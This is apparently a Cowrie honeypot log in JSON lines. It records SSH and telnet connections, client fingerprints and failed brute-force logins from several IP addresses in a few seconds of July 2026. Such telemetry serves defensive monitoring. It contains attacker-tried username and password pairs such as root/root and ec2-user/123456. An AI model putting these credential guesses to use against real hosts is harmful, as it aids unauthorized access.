{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45502,"dst_ip":"10.17.0.5","dst_port":22,"session":"8130b138d74f","protocol":"ssh","message":"New connection: 165.154.137.186:45502 (10.17.0.5:22) [session: 8130b138d74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:00.133478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:00.137807Z","src_ip":"165.154.137.186","session":"8130b138d74f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:00.394673Z","src_ip":"165.154.137.186","session":"8130b138d74f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":41064,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecd0246ecd4c","protocol":"ssh","message":"New connection: 165.154.137.186:41064 (10.17.0.5:22) [session: ecd0246ecd4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:01.162143Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:01.165699Z","src_ip":"165.154.137.186","session":"8130b138d74f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:01.169822Z","src_ip":"165.154.137.186","session":"ecd0246ecd4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:01.431370Z","src_ip":"165.154.137.186","session":"ecd0246ecd4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:02.220367Z","src_ip":"165.154.137.186","session":"ecd0246ecd4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:02.422388Z","src_ip":"165.154.137.186","session":"8130b138d74f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":54372,"dst_ip":"10.17.0.5","dst_port":22,"session":"01ed7739aab0","protocol":"ssh","message":"New connection: 101.47.159.50:54372 (10.17.0.5:22) [session: 01ed7739aab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:02.489209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:02.494140Z","src_ip":"101.47.159.50","session":"01ed7739aab0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:02.741296Z","src_ip":"101.47.159.50","session":"01ed7739aab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:03.483514Z","src_ip":"165.154.137.186","session":"ecd0246ecd4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12344","message":"login attempt [root/12344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:03.762351Z","src_ip":"101.47.159.50","session":"01ed7739aab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:05.012801Z","src_ip":"101.47.159.50","session":"01ed7739aab0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.111.155","src_port":59404,"dst_ip":"10.17.0.5","dst_port":22,"session":"430e829d922d","protocol":"ssh","message":"New connection: 101.36.111.155:59404 (10.17.0.5:22) [session: 430e829d922d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:05.710082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:05.749609Z","src_ip":"101.36.111.155","session":"430e829d922d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:05.964955Z","src_ip":"101.36.111.155","session":"430e829d922d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47986,"dst_ip":"159.203.135.109","dst_port":23,"session":"665daad48dc3","protocol":"telnet","message":"New connection: 170.64.224.25:47986 (159.203.135.109:23) [session: 665daad48dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:06.473596Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123@#","message":"login attempt [ubuntu/qwe123@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:06.819029Z","src_ip":"101.36.111.155","session":"430e829d922d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":46902,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5003c6d44ac","protocol":"ssh","message":"New connection: 2.57.122.209:46902 (10.17.0.5:22) [session: d5003c6d44ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:06.876490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:07.393183Z","src_ip":"2.57.122.209","session":"d5003c6d44ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:07.405151Z","src_ip":"2.57.122.209","session":"d5003c6d44ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47990,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd5b9d819061","protocol":"telnet","message":"New connection: 170.64.224.25:47990 (159.203.135.109:23) [session: dd5b9d819061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:07.614419Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":34928,"dst_ip":"159.203.135.109","dst_port":22,"session":"81ebc86ab087","protocol":"ssh","message":"New connection: 62.133.62.83:34928 (159.203.135.109:22) [session: 81ebc86ab087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:08.005423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:08.008463Z","src_ip":"62.133.62.83","session":"81ebc86ab087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:08.040894Z","src_ip":"101.36.111.155","session":"430e829d922d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":54414,"dst_ip":"10.17.0.5","dst_port":22,"session":"444aa929fa18","protocol":"ssh","message":"New connection: 165.154.137.186:54414 (10.17.0.5:22) [session: 444aa929fa18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:08.061260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:08.067598Z","src_ip":"165.154.137.186","session":"444aa929fa18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:08.090438Z","src_ip":"62.133.62.83","session":"81ebc86ab087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kraftway","message":"login attempt [root/kraftway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:08.327889Z","src_ip":"62.133.62.83","session":"81ebc86ab087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:08.341234Z","src_ip":"165.154.137.186","session":"444aa929fa18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:09.166784Z","src_ip":"165.154.137.186","session":"444aa929fa18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:09.413698Z","src_ip":"62.133.62.83","session":"81ebc86ab087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:10.055578Z","src_ip":"2.57.122.209","session":"d5003c6d44ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:10.440790Z","src_ip":"165.154.137.186","session":"444aa929fa18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:11.770467Z","src_ip":"2.57.122.209","session":"d5003c6d44ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":54728,"dst_ip":"10.17.0.5","dst_port":22,"session":"780993d78b2b","protocol":"ssh","message":"New connection: 165.154.137.186:54728 (10.17.0.5:22) [session: 780993d78b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:15.208531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:15.212245Z","src_ip":"165.154.137.186","session":"780993d78b2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:15.480382Z","src_ip":"165.154.137.186","session":"780993d78b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:16.485767Z","src_ip":"165.154.137.186","session":"780993d78b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:17.756091Z","src_ip":"165.154.137.186","session":"780993d78b2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57470,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f0623d1f139","protocol":"ssh","message":"New connection: 8.210.75.243:57470 (10.17.0.5:22) [session: 5f0623d1f139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:18.705841Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":54716,"dst_ip":"10.17.0.5","dst_port":22,"session":"966b76b25381","protocol":"ssh","message":"New connection: 165.154.137.186:54716 (10.17.0.5:22) [session: 966b76b25381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:18.814706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:18.819940Z","src_ip":"165.154.137.186","session":"966b76b25381","protocol":"ssh"}
